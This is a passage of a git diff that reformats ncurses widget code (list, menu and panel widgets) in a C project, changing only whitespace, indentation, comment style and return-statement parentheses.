wdg_list_callback(wo, key); + break; } - + return WDG_E_SUCCESS; } @@ -276,7 +275,7 @@ static void wdg_list_borders(struct wdg_object *wo) { WDG_WO_EXT(struct wdg_list_handle, ww); size_t c = wdg_get_ncols(wo); - + /* the object was focused */ if (wo->flags & WDG_OBJ_FOCUSED) { wattron(ww->win, A_BOLD); @@ -286,30 +285,29 @@ static void wdg_list_borders(struct wdg_object *wo) /* draw the borders */ box(ww->win, 0, 0); - + /* set the title color */ wbkgdset(ww->win, COLOR_PAIR(wo->title_color)); - + /* there is a title: print it */ if (wo->title) { switch (wo->align) { - case WDG_ALIGN_LEFT: - wmove(ww->win, 0, 3); - break; - case WDG_ALIGN_CENTER: - wmove(ww->win, 0, (c - strlen(wo->title)) / 2); - break; - case WDG_ALIGN_RIGHT: - wmove(ww->win, 0, c - strlen(wo->title) - 3); - break; + case WDG_ALIGN_LEFT: + wmove(ww->win, 0, 3); + break; + case WDG_ALIGN_CENTER: + wmove(ww->win, 0, (c - strlen(wo->title)) / 2); + break; + case WDG_ALIGN_RIGHT: + wmove(ww->win, 0, c - strlen(wo->title) - 3); + break; } wprintw(ww->win, wo->title); } - + /* restore the attribute */ if (wo->flags & WDG_OBJ_FOCUSED) wattroff(ww->win, A_BOLD); - } /* @@ -319,12 +317,12 @@ void wdg_list_set_elements(struct wdg_object *wo, struct wdg_list *list) { WDG_WO_EXT(struct wdg_list_handle, ww); size_t i = 0; - + wdg_list_menu_destroy(wo); /* forget the curren position, we are creating a new menu */ ww->current = NULL; - + /* free any previously alloc'd item */ while (ww->items && ww->items[i] != NULL) free_item(ww->items[i++]); @@ -332,19 +330,19 @@ void wdg_list_set_elements(struct wdg_object *wo, struct wdg_list *list) WDG_SAFE_FREE(ww->items); i = 0; ww->nitems = 0; - + /* walk thru the list and set the menu items */ while (list[i].desc != NULL) { /* count the items added */ ww->nitems++; WDG_SAFE_REALLOC(ww->items, ww->nitems * sizeof(ITEM *)); - + ww->items[i] = new_item(list[i].desc, ""); set_item_userptr(ww->items[i], list[i].value); i++; } - + /* add the null termination to the array */ WDG_SAFE_REALLOC(ww->items, (ww->nitems + 1) * sizeof(ITEM *)); ww->items[ww->nitems] = NULL; @@ -352,30 +350,29 @@ void wdg_list_set_elements(struct wdg_object *wo, struct wdg_list *list) wdg_list_menu_create(wo); } - /* - * stransform keys into menu commands + * stransform keys into menu commands */ static int wdg_list_virtualize(int key) { switch (key) { - case KEY_NPAGE: - return (REQ_SCR_DPAGE); - case KEY_PPAGE: - return (REQ_SCR_UPAGE); - case KEY_DOWN: - return (REQ_NEXT_ITEM); - case KEY_UP: - return (REQ_PREV_ITEM); - default: - if (key != KEY_MOUSE) - beep(); - return (key); + case KEY_NPAGE: + return REQ_SCR_DPAGE; + case KEY_PPAGE: + return REQ_SCR_UPAGE; + case KEY_DOWN: + return REQ_NEXT_ITEM; + case KEY_UP: + return REQ_PREV_ITEM; + default: + if (key != KEY_MOUSE) + beep(); + return key; } } /* - * sends command to the active menu + * sends command to the active menu */ static int wdg_list_driver(struct wdg_object *wo, int key, struct wdg_mouse_event *mouse) { @@ -383,26 +380,26 @@ static int wdg_list_driver(struct wdg_object *wo, int key, struct wdg_mouse_even int c; /* variable currently not used */ - (void) mouse; - - c = menu_driver(ww->menu, wdg_list_virtualize(key) ); - + (void)mouse; + + c = menu_driver(ww->menu, wdg_list_virtualize(key)); + /* skip non selectable items */ - if ( !(item_opts(current_item(ww->menu)) & O_SELECTABLE) ) - c = menu_driver(ww->menu, wdg_list_virtualize(key) ); + if (!(item_opts(current_item(ww->menu)) & O_SELECTABLE)) + c = menu_driver(ww->menu, wdg_list_virtualize(key)); /* one item has been selected */ if (c == E_UNKNOWN_COMMAND) { if (item_userptr(current_item(ww->menu))) WDG_EXECUTE(ww->select_callback, item_userptr(current_item(ww->menu))); } - + /* tring to go outside edges */ if (c == E_REQUEST_DENIED) return -WDG_E_NOTHANDLED; wnoutrefresh(ww->mwin); - + return WDG_E_SUCCESS; } @@ -416,9 +413,9 @@ static void wdg_list_menu_create(struct wdg_object *wo) size_t x = wdg_get_begin_x(wo); size_t y = wdg_get_begin_y(wo); int mrows = 0, mcols = 0; - + /* skip the creation if: - * - already displayed + * - already displayed * - no items are present */ if (ww->menu || !ww->items || ww->nitems == 0) @@ -438,10 +435,10 @@ static void wdg_list_menu_create(struct wdg_object *wo) /* set the color */ wbkgd(ww->mwin, COLOR_PAIR(wo->window_color)); keypad(ww->mwin, TRUE); - + /* associate with the menu */ set_menu_win(ww->menu, ww->mwin); - + /* the subwin for the menu */ set_menu_sub(ww->menu, derwin(ww->mwin, mrows + 1, mcols, 2, 2)); @@ -450,11 +447,11 @@ static void wdg_list_menu_create(struct wdg_object *wo) set_menu_grey(ww->menu, COLOR_PAIR(wo->window_color)); set_menu_back(ww->menu, COLOR_PAIR(wo->window_color)); set_menu_fore(ww->menu, COLOR_PAIR(wo->window_color) | A_REVERSE | A_BOLD); - + /* repristinate the current position */ if (ww->current) set_current_item(ww->menu, ww->current); - + /* display the menu */ post_menu(ww->menu); @@ -471,13 +468,13 @@ static void wdg_list_menu_destroy(struct wdg_object *wo) /* nothing to clear */ if (ww->menu == NULL) return; - + /* remember the current position to be repristinated on menu create */ ww->current = current_item(ww->menu); - + /* hide the menu */ unpost_menu(ww->menu); - + /* erase the menu */ wbkgd(ww->mwin, COLOR_PAIR(wo->screen_color)); werase(ww->mwin); @@ -508,7 +505,7 @@ void wdg_list_add_callback(wdg_t *wo, int key, void (*callback)(void *)) struct wdg_list_call *c; WDG_SAFE_CALLOC(c, 1, sizeof(struct wdg_list_call)); - + c->key = key; c->callback = callback; @@ -526,15 +523,15 @@ static int wdg_list_callback(struct wdg_object *wo, int key) SLIST_FOREACH(c, &ww->callbacks, next) { if (c->key == key) { void *value; - + WDG_DEBUG_MSG("wdg_list_callback"); - + /* retrieve the value from the current item */ value = item_userptr(current_item(ww->menu)); - + /* execute the callback */ WDG_EXECUTE(c->callback, value); - + return WDG_E_SUCCESS; } } @@ -543,12 +540,12 @@ static int wdg_list_callback(struct wdg_object *wo, int key) } /* - * force the repaint of the menu + * force the repaint of the menu */ void wdg_list_refresh(wdg_t *wo) { WDG_WO_EXT(struct wdg_list_handle, ww); - + WDG_DEBUG_MSG("wdg_list_refresh"); /* remember the position */ @@ -568,4 +565,3 @@ void wdg_list_refresh(wdg_t *wo) /* EOF */ // vim:ts=3:expandtab - diff --git a/src/interfaces/curses/widgets/wdg_menu.c b/src/interfaces/curses/widgets/wdg_menu.c index 73431e63a..e9651c1f4 100644 --- a/src/interfaces/curses/widgets/wdg_menu.c +++ b/src/interfaces/curses/widgets/wdg_menu.c @@ -1,23 +1,23 @@ /* - WDG -- menu widget - - Copyright (C) ALoR - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * WDG -- menu widget + * + * Copyright (C) ALoR + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include @@ -75,11 +75,11 @@ static int wdg_menu_shortcut(struct wdg_object *wo, int key); /*******************************************/ -/* +/* * called to create the menu */ void wdg_create_menu(struct wdg_object *wo) -{ +{ WDG_DEBUG_MSG("wdg_create_menu"); /* set the callbacks */ @@ -93,14 +93,14 @@ void wdg_create_menu(struct wdg_object *wo) WDG_SAFE_CALLOC(wo->extend, 1, sizeof(struct wdg_menu_handle)); } -/* +/* * called to destroy the menu */ static int wdg_menu_destroy(struct wdg_object *wo) { WDG_WO_EXT(struct wdg_menu_handle, ww); struct wdg_menu_unit *mu, *old = NULL; - + WDG_DEBUG_MSG("wdg_menu_destroy"); /* erase the window */ @@ -122,8 +122,8 @@ static int wdg_menu_destroy(struct wdg_object *wo) TAILQ_REMOVE(&ww->menu_list, mu, next); WDG_SAFE_FREE(mu->items); WDG_SAFE_FREE(mu); - } - + } + /* dealloc the structures */ delwin(ww->menu); @@ -132,7 +132,7 @@ static int wdg_menu_destroy(struct wdg_object *wo) return WDG_E_SUCCESS; } -/* +/* * called to resize the menu */ static int wdg_menu_resize(struct wdg_object *wo) @@ -142,15 +142,15 @@ static int wdg_menu_resize(struct wdg_object *wo) return WDG_E_SUCCESS; } -/* +/* * called to redraw the menu */ static int wdg_menu_redraw(struct wdg_object *wo) { WDG_WO_EXT(struct wdg_menu_handle, ww); - + WDG_DEBUG_MSG("wdg_menu_redraw"); - + /* the window already exist */ if (ww->menu) { /* erase the border */ @@ -158,18 +158,18 @@ static int wdg_menu_redraw(struct wdg_object *wo) werase(ww->menu); touchwin(ww->menu); wnoutrefresh(ww->menu); - + /* set the menu color */ wbkgd(ww->menu, COLOR_PAIR(wo->window_color)); - + /* resize the menu */ wresize(ww->menu, 1, current_screen.cols); - + /* redraw the menu */ wdg_menu_titles(wo); touchwin(ww->menu); - /* the first time we have to allocate the window */ + /* the first time we have to allocate the window */ } else { /* create the menu window (fixed dimensions) */ @@ -179,25 +179,24 @@ static int wdg_menu_redraw(struct wdg_object *wo) /* set the window color */ wbkgd(ww->menu, COLOR_PAIR(wo->window_color)); redrawwin(ww->menu); - + /* draw the titles */ wdg_menu_titles(wo); /* no scrolling for menu */ scrollok(ww->menu, FALSE); - } - + /* refresh the window */ touchwin(ww->menu); wnoutrefresh(ww->menu); - + wo->flags |= WDG_OBJ_VISIBLE; return WDG_E_SUCCESS; } -/* +/* * called when the menu gets the focus */ static int wdg_menu_get_focus(struct wdg_object *wo) @@ -207,28 +206,28 @@ static int wdg_menu_get_focus(struct wdg_object *wo) /* redraw the window */ wdg_menu_redraw(wo); - + return WDG_E_SUCCESS; } -/* +/* * called when the menu looses the focus */ static int wdg_menu_lost_focus(struct wdg_object *wo) { /* set the flag */ wo->flags &= ~WDG_OBJ_FOCUSED; - + /* close any active menu */ wdg_menu_close(wo); - + /* redraw the window */ wdg_menu_redraw(wo); - + return WDG_E_SUCCESS; } -/* +/* * called by the messages dispatcher when the menu is focused */ static int wdg_menu_get_msg(struct wdg_object *wo, int key, struct wdg_mouse_event *mouse) @@ -237,71 +236,71 @@ static int wdg_menu_get_msg(struct wdg_object *wo, int key, struct wdg_mouse_eve /* handle the message */ switch (key) { - - case KEY_MOUSE: - /* is the mouse event within our edges ? */ - if (wenclose(ww->menu, mouse->y, mouse->x)) { - wdg_set_focus(wo); - /* close any previously opened menu unit */ + + case KEY_MOUSE: + /* is the mouse event within our edges ? */ + if (wenclose(ww->menu, mouse->y, mouse->x)) { + wdg_set_focus(wo); + /* close any previously opened menu unit */ + wdg_menu_close(wo); + /* if the mouse click was over a menu unit title */ + if (wdg_menu_mouse_move(wo, mouse) == WDG_E_SUCCESS) + wdg_menu_open(wo); + /* redraw the menu */ + wdg_menu_redraw(wo); + } else if (ww->focus_unit->active && wenclose(ww->focus_unit->win, mouse->y, mouse->x)) { + wdg_menu_driver(wo, key, mouse); + } else + return -WDG_E_NOTHANDLED; + break; + + case KEY_LEFT: + case KEY_RIGHT: + /* move only if focused */ + if (wo->flags & WDG_OBJ_FOCUSED) { + /* if the menu is open, move and open the neighbor */ + if (ww->focus_unit->active) { wdg_menu_close(wo); - /* if the mouse click was over a menu unit title */ - if (wdg_menu_mouse_move(wo, mouse) == WDG_E_SUCCESS) - wdg_menu_open(wo); - /* redraw the menu */ - wdg_menu_redraw(wo); - } else if (ww->focus_unit->active && wenclose(ww->focus_unit->win, mouse->y, mouse->x)) { + wdg_menu_move(wo, key); + wdg_menu_open(wo); + } else + wdg_menu_move(wo, key); + + wdg_menu_redraw(wo); + } else + return -WDG_E_NOTHANDLED; + break; + + case KEY_RETURN: + case KEY_DOWN: + /* move only if focused */ + if (wo->flags & WDG_OBJ_FOCUSED) { + /* if the menu is open */ + if (ww->focus_unit->active) wdg_menu_driver(wo, key, mouse); - } else - return -WDG_E_NOTHANDLED; - break; + else + wdg_menu_open(wo); + } else + return -WDG_E_NOTHANDLED; + break; - case KEY_LEFT: - case KEY_RIGHT: - /* move only if focused */ - if (wo->flags & WDG_OBJ_FOCUSED) { - /* if the menu is open, move and open the neighbor */ - if (ww->focus_unit->active) { - wdg_menu_close(wo); - wdg_menu_move(wo, key); - wdg_menu_open(wo); - } else - wdg_menu_move(wo, key); - - wdg_menu_redraw(wo); - } else - return -WDG_E_NOTHANDLED; - break; - - case KEY_RETURN: - case KEY_DOWN: - /* move only if focused */ - if (wo->flags & WDG_OBJ_FOCUSED) { - /* if the menu is open */ - if (ww->focus_unit->active) - wdg_menu_driver(wo, key, mouse); - else - wdg_menu_open(wo); - } else - return -WDG_E_NOTHANDLED; - break; - - case KEY_UP: - /* move only if focused */ - if (wo->flags & WDG_OBJ_FOCUSED) { - if (wdg_menu_driver(wo, key, mouse) != WDG_E_SUCCESS) { - wdg_menu_close(wo); - return -WDG_E_NOTHANDLED; - } - } else + case KEY_UP: + /* move only if focused */ + if (wo->flags & WDG_OBJ_FOCUSED) { + if (wdg_menu_driver(wo, key, mouse) != WDG_E_SUCCESS) { + wdg_menu_close(wo); return -WDG_E_NOTHANDLED; - break; + } + } else + return -WDG_E_NOTHANDLED; + break; - /* message not handled */ - default: - return wdg_menu_shortcut(wo, key); - break; + /* message not handled */ + default: + return wdg_menu_shortcut(wo, key); + break; } - + return WDG_E_SUCCESS; } @@ -312,7 +311,7 @@ static void wdg_menu_titles(struct wdg_object *wo) { WDG_WO_EXT(struct wdg_menu_handle, ww); struct wdg_menu_unit *mu; - + /* there is a title: print it */ if (wo->title) { /* the only alignment is RIGHT */ @@ -323,10 +322,10 @@ static void wdg_menu_titles(struct wdg_object *wo) wattroff(ww->menu, A_BOLD); wbkgdset(ww->menu, COLOR_PAIR(wo->window_color)); } - + /* move to the left */ wmove(ww->menu, 0, WDG_MENU_LEFT_PAD); - + /* print the menu unit list */ TAILQ_FOREACH(mu, &ww->menu_list, next) { /* the menu is focused and the unit has the control */ @@ -340,7 +339,6 @@ static void wdg_menu_titles(struct wdg_object *wo) /* separator between two unit title */ wprintw(ww->menu, " "); } - } /* @@ -354,19 +352,19 @@ void wdg_menu_add(struct wdg_object *wo, struct wdg_menu *menu) int i = 0; WDG_SAFE_CALLOC(mu, 1, sizeof(struct wdg_menu_unit)); - + WDG_SAFE_STRDUP(mu->title, menu[i].name); /* set the shortcut */ mu->hotkey = menu[i].hotkey; - + while (menu[++i].name != NULL) { - + /* count the items added */ mu->nitems++; WDG_SAFE_REALLOC(mu->items, mu->nitems * sizeof(ITEM *)); WDG_SAFE_CALLOC(kcall, 1, sizeof(struct wdg_key_callback)); - + /* create the item */ mu->items[mu->nitems - 1] = new_item(menu[i].name, menu[i].shortcut); /* remember the hotkey and the callback */ @@ -380,7 +378,7 @@ void wdg_menu_add(struct wdg_object *wo, struct wdg_menu *menu) else set_item_userptr(mu->items[mu->nitems - 1], kcall); } - + /* add the null termination to the array */ WDG_SAFE_REALLOC(mu->items, (mu->nitems + 1) * sizeof(ITEM *)); mu->items[mu->nitems] = NULL; @@ -395,22 +393,22 @@ void wdg_menu_add(struct wdg_object *wo, struct wdg_menu *menu) } /* - * move the focus thru menu units + * move the focus thru menu units */ static void wdg_menu_move(struct wdg_object *wo, int key) { WDG_WO_EXT(struct wdg_menu_handle, ww); - - switch(key) { - case KEY_RIGHT: - if (ww->focus_unit != TAILQ_LAST(&ww->menu_list, menu_head)) - ww->focus_unit = TAILQ_NEXT(ww->focus_unit, next); - break; - - case KEY_LEFT: - if (ww->focus_unit != TAILQ_FIRST(&ww->menu_list)) - ww->focus_unit = TAILQ_PREV(ww->focus_unit, menu_head, next); - break; + + switch (key) { + case KEY_RIGHT: + if (ww->focus_unit != TAILQ_LAST(&ww->menu_list, menu_head)) + ww->focus_unit = TAILQ_NEXT(ww->focus_unit, next); + break; + + case KEY_LEFT: + if (ww->focus_unit != TAILQ_FIRST(&ww->menu_list)) + ww->focus_unit = TAILQ_PREV(ww->focus_unit, menu_head, next); + break; } } @@ -422,46 +420,46 @@ static int wdg_menu_mouse_move(struct wdg_object *wo, struct wdg_mouse_event *mo WDG_WO_EXT(struct wdg_menu_handle, ww); struct wdg_menu_unit *mu; size_t x = WDG_MENU_LEFT_PAD; - + TAILQ_FOREACH(mu, &ww->menu_list, next) { /* if the mouse is over a title */ - if (mouse->x >= x && mouse->x < x + strlen(mu->title) ) { + if (mouse->x >= x && mouse->x < x + strlen(mu->title)) { ww->focus_unit = mu; return WDG_E_SUCCESS; } - /* move the pointer */ + /* move the pointer */ x += strlen(mu->title) + 2; - } - + } + return -WDG_E_NOTHANDLED; } /* - * stransform keys into menu commands + * stransform keys into menu commands */ static int wdg_menu_virtualize(int key) { switch (key) { - case KEY_RETURN: - case KEY_EXIT: - return (MAX_COMMAND + 1); - case KEY_NPAGE: - return (REQ_SCR_DPAGE); - case KEY_PPAGE: - return (REQ_SCR_UPAGE); - case KEY_DOWN: - return (REQ_NEXT_ITEM); - case KEY_UP: - return (REQ_PREV_ITEM); - default: - if (key != KEY_MOUSE) - beep(); - return (key); + case KEY_RETURN: + case KEY_EXIT: + return MAX_COMMAND + 1; + case KEY_NPAGE: + return REQ_SCR_DPAGE; + case KEY_PPAGE: + return REQ_SCR_UPAGE; + case KEY_DOWN: + return REQ_NEXT_ITEM; + case KEY_UP: + return REQ_PREV_ITEM; + default: + if (key != KEY_MOUSE) + beep(); + return key; } } /* - * sends command to the active menu + * sends command to the active menu */ static int wdg_menu_driver(struct wdg_object *wo, int key, struct wdg_mouse_event *mouse) { @@ -470,23 +468,23 @@ static int wdg_menu_driver(struct wdg_object *wo, int key, struct wdg_mouse_even struct wdg_key_callback *kcall; /* variable currently not used */ - (void) mouse; - - c = menu_driver(ww->focus_unit->m, wdg_menu_virtualize(key) ); - + (void)mouse; + + c = menu_driver(ww->focus_unit->m, wdg_menu_virtualize(key)); + /* skip non selectable items */ - if ( !(item_opts(current_item(ww->focus_unit->m)) & O_SELECTABLE) ) - c = menu_driver(ww->focus_unit->m, wdg_menu_virtualize(key) ); + if (!(item_opts(current_item(ww->focus_unit->m)) & O_SELECTABLE)) + c = menu_driver(ww->focus_unit->m, wdg_menu_virtualize(key)); /* one item has been selected */ if (c == E_UNKNOWN_COMMAND) { /* the item is not selectable (probably selected with mouse */ - if ( !(item_opts(current_item(ww->focus_unit->m)) & O_SELECTABLE) ) + if (!(item_opts(current_item(ww->focus_unit->m)) & O_SELECTABLE)) return WDG_E_SUCCESS; - + /* retrieve the function pointer */ kcall = item_userptr(current_item(ww->focus_unit->m)); - + /* close the menu */ wdg_menu_close(wo); @@ -501,7 +499,7 @@ static int wdg_menu_driver(struct wdg_object *wo, int key, struct wdg_mouse_even return -WDG_E_NOTHANDLED; wnoutrefresh(ww->focus_unit->win); - + return WDG_E_SUCCESS; } @@ -514,11 +512,11 @@ static void wdg_menu_open(struct wdg_object *wo) struct wdg_menu_unit *mu; size_t x = WDG_MENU_LEFT_PAD; int mrows, mcols; - + WDG_DEBUG_MSG("wdg_menu_open"); - + WDG_BUG_IF(ww->focus_unit == NULL); - + /* already displayed */ if (ww->focus_unit->active == 1) return; @@ -528,10 +526,10 @@ static void wdg_menu_open(struct wdg_object *wo) /* search the curren focused unit */ if (!strcmp(mu->title, ww->focus_unit->title)) break; - /* move the pointer */ + /* move the pointer */ x += strlen(mu->title) + 2; } - + /* create the menu */ ww->focus_unit->m = new_menu(ww->focus_unit->items); @@ -544,7 +542,7 @@ static void wdg_menu_open(struct wdg_object *wo) /* check if the menu will go outside the screen on the right */ if (x + mcols + 2 > current_screen.cols) { - /* + /* * okay, we are going out of the edges... * let's align the menu with the edge */ @@ -557,10 +555,10 @@ static void wdg_menu_open(struct wdg_object *wo) wbkgd(ww->focus_unit->win, COLOR_PAIR(wo->window_color)); keypad(ww->focus_unit->win, TRUE); box(ww->focus_unit->win, 0, 0); - + /* associate with the menu */ set_menu_win(ww->focus_unit->m, ww->focus_unit->win); - + /* the subwin for the menu */ set_menu_sub(ww->focus_unit->m, derwin(ww->focus_unit->win, mrows + 1, mcols, 1, 1)); @@ -569,7 +567,7 @@ static void wdg_menu_open(struct wdg_object *wo) set_menu_grey(ww->focus_unit->m, COLOR_PAIR(wo->window_color)); set_menu_back(ww->focus_unit->m, COLOR_PAIR(wo->window_color)); set_menu_fore(ww->focus_unit->m, COLOR_PAIR(wo->window_color) | A_REVERSE | A_BOLD); - + /* display the menu */ post_menu(ww->focus_unit->m); @@ -585,18 +583,18 @@ static void wdg_menu_open(struct wdg_object *wo) static void wdg_menu_close(struct wdg_object *wo) { WDG_WO_EXT(struct wdg_menu_handle, ww); - + WDG_DEBUG_MSG("wdg_menu_close"); WDG_BUG_IF(ww->focus_unit == NULL); - + /* nothing to clear */ if (ww->focus_unit->active == 0 || ww->focus_unit->m == NULL) return; - + /* hide the menu */ unpost_menu(ww->focus_unit->m); - + /* set the active state */ ww->focus_unit->active = 0; @@ -610,7 +608,7 @@ static void wdg_menu_close(struct wdg_object *wo) ww->focus_unit->m = NULL; delwin(ww->focus_unit->win); - + /* repaint the whole screen since a menu might have overlapped something */ wdg_redraw_all(); } @@ -628,10 +626,10 @@ static int wdg_menu_shortcut(struct wdg_object *wo, int key) /* search the shortcut in the menu unit list */ TAILQ_FOREACH(mu, &ww->menu_list, next) { int i = 0; - + /* first check for the menu unit */ if (mu->hotkey == key) { - + WDG_DEBUG_MSG("wdg_menu_shortcut: menu unit"); wdg_set_focus(wo); wdg_menu_close(wo); @@ -655,12 +653,10 @@ static int wdg_menu_shortcut(struct wdg_object *wo, int key) } } } - + return -WDG_E_NOTHANDLED; } - /* EOF */ // vim:ts=3:expandtab - diff --git a/src/interfaces/curses/widgets/wdg_panel.c b/src/interfaces/curses/widgets/wdg_panel.c index c8082c9a1..46b4a629c 100644 --- a/src/interfaces/curses/widgets/wdg_panel.c +++ b/src/interfaces/curses/widgets/wdg_panel.c @@ -1,23 +1,23 @@ /* - WDG -- panel widget - - Copyright (C) ALoR - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * WDG -- panel widget + * + * Copyright (C) ALoR + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include @@ -49,13 +49,13 @@ static void wdg_panel_border(struct wdg_object *wo); /*******************************************/ -/* +/* * called to create a window */ void wdg_create_panel(struct wdg_object *wo) { WDG_DEBUG_MSG("wdg_create_panel"); - + /* set the callbacks */ wo->destroy = wdg_panel_destroy; wo->resize = wdg_panel_resize; @@ -67,14 +67,14 @@ void wdg_create_panel(struct wdg_object *wo) WDG_SAFE_CALLOC(wo->extend, 1, sizeof(struct wdg_panel)); } -/* +/* * called to destroy a window */ static int wdg_panel_destroy(struct wdg_object *wo) { WDG_WO_EXT(struct wdg_panel, ww); WINDOW *win, *sub; - + WDG_DEBUG_MSG("wdg_panel_destroy"); /* erase the window */ @@ -82,7 +82,7 @@ static int wdg_panel_destroy(struct wdg_object *wo) wbkgd(W(ww->win), COLOR_PAIR(wo->screen_color)); werase(W(ww->sub)); werase(W(ww->win)); - + /* dealloc the structures */ win = W(ww->win); sub = W(ww->sub); @@ -99,7 +99,7 @@ static int wdg_panel_destroy(struct wdg_object *wo) return WDG_E_SUCCESS; } -/* +/* * called to resize a window */ static int wdg_panel_resize(struct wdg_object *wo) @@ -109,7 +109,7 @@ static int wdg_panel_resize(struct wdg_object *wo) return WDG_E_SUCCESS; } -/* +/* * called to redraw a window */ static int wdg_panel_redraw(struct wdg_object *wo) @@ -119,15 +119,15 @@ static int wdg_panel_redraw(struct wdg_object *wo) size_t l = wdg_get_nlines(wo); size_t x = wdg_get_begin_x(wo); size_t y = wdg_get_begin_y(wo); - + WDG_DEBUG_MSG("wdg_panel_redraw"); - + /* the window already exist */ if (ww->win) { /* erase the border */ wbkgd(W(ww->win), COLOR_PAIR(wo->screen_color)); werase(W(ww->win)); - + /* XXX - try to keep the window on screen */ if (c <= 2) c = 3; if (l <= 2) l = 3; @@ -139,7 +139,7 @@ static int wdg_panel_redraw(struct wdg_object *wo) WDG_WRESIZE(W(ww->win), l, c); replace_panel(ww->win, W(ww->win)); wdg_panel_border(wo); - + /* resize the actual window and touch it */ WDG_MOVE_PANEL(ww->sub, y + 1, x + 1); WDG_WRESIZE(W(ww->sub), l - 2, c - 2); @@ -148,7 +148,7 @@ static int wdg_panel_redraw(struct wdg_object *wo) wbkgd(W(ww->sub), COLOR_PAIR(wo->window_color)); touchwin(W(ww->sub)); - /* the first time we have to allocate the window */ + /* the first time we have to allocate the window */ } else { /* create the outher window */ @@ -161,10 +161,10 @@ static int wdg_panel_redraw(struct wdg_object *wo) /* create the inner (actual) window */ if ((ww->sub = new_panel(newwin(l - 2, c - 2, y + 1, x + 1))) == NULL) return -WDG_E_FATAL; - + /* set the window color */ wbkgd(W(ww->sub), COLOR_PAIR(wo->window_color)); - + /* initialize the pointer */ wmove(W(ww->sub), 0, 0); @@ -174,16 +174,16 @@ static int wdg_panel_redraw(struct wdg_object *wo) top_panel(ww->win); top_panel(ww->sub); } - - /* refresh the screen */ + + /* refresh the screen */ update_panels(); - + wo->flags |= WDG_OBJ_VISIBLE; return WDG_E_SUCCESS; } -/* +/* * called when the window gets the focus */ static int wdg_panel_get_focus(struct wdg_object *wo) @@ -193,25 +193,25 @@ static int wdg_panel_get_focus(struct wdg_object *wo) /* redraw the window */ wdg_panel_redraw(wo); - + return WDG_E_SUCCESS; } -/* +/* * called when the window looses the focus */ static int wdg_panel_lost_focus(struct wdg_object *wo) { /* set the flag */ wo->flags &= ~WDG_OBJ_FOCUSED; - + /* redraw the window */ wdg_panel_redraw(wo); - + return WDG_E_SUCCESS; } -/* +/* * called by the messages dispatcher when the window is focused */ static int wdg_panel_get_msg(struct wdg_object *wo, int key, struct wdg_mouse_event *mouse) @@ -219,20 +219,20 @@ static int wdg_panel_get_msg(struct wdg_object *wo, int key, struct wdg_mouse_ev WDG_WO_EXT(struct wdg_panel, ww); /* handle the message */ switch (key) { - case KEY_MOUSE: - /* is the mouse event within our edges ? */ - if (wenclose(W(ww->win), mouse->y, mouse->x)) - wdg_set_focus(wo); - else - return -WDG_E_NOTHANDLED; - break; - - /* message not handled */ - default: + case KEY_MOUSE: + /* is the mouse event within our edges ? */ + if (wenclose(W(ww->win), mouse->y, mouse->x)) + wdg_set_focus(wo); + else return -WDG_E_NOTHANDLED; - break; + break; + + /* message not handled */ + default: + return -WDG_E_NOTHANDLED; + break; } - + return WDG_E_SUCCESS; } @@ -243,38 +243,38 @@ static void wdg_panel_border(struct wdg_object *wo) { WDG_WO_EXT(struct wdg_panel, ww); size_t c = wdg_get_ncols(wo); - + /* the object was focused */ if (wo->flags & WDG_OBJ_FOCUSED) { wattron(W(ww->win), A_BOLD); wbkgdset(W(ww->win), COLOR_PAIR(wo->focus_color)); top_panel(ww->win); top_panel(ww->sub); - } else + } else wbkgdset(W(ww->win), COLOR_PAIR(wo->border_color)); - + /* draw the borders */ box(W(ww->win), 0, 0); - + /* set the border color */ wbkgdset(W(ww->win), COLOR_PAIR(wo->title_color)); /* there is a title: print it */ if (wo->title) { switch (wo->align) { - case WDG_ALIGN_LEFT: - wmove(W(ww->win), 0, 3); - break; - case WDG_ALIGN_CENTER: - wmove(W(ww->win), 0, (c - strlen(wo->title)) / 2); - break; - case WDG_ALIGN_RIGHT: - wmove(W(ww->win), 0, c - strlen(wo->title) - 3); - break; + case WDG_ALIGN_LEFT: + wmove(W(ww->win), 0, 3); + break; + case WDG_ALIGN_CENTER: + wmove(W(ww->win), 0, (c - strlen(wo->title)) / 2); + break; + case WDG_ALIGN_RIGHT: + wmove(W(ww->win), 0, c - strlen(wo->title) - 3); + break; } wprintw(W(ww->win), wo->title); } - + /* restore the attribute */ if (wo->flags & WDG_OBJ_FOCUSED) wattroff(W(ww->win), A_BOLD); @@ -287,7 +287,7 @@ void wdg_panel_print(wdg_t *wo, size_t x, size_t y, char *fmt, ...) { WDG_WO_EXT(struct wdg_panel, ww); va_list ap; - + WDG_DEBUG_MSG("wdg_panel_print"); /* move the pointer */ @@ -304,4 +304,3 @@ void wdg_panel_print(wdg_t *wo, size_t x, size_t y, char *fmt, 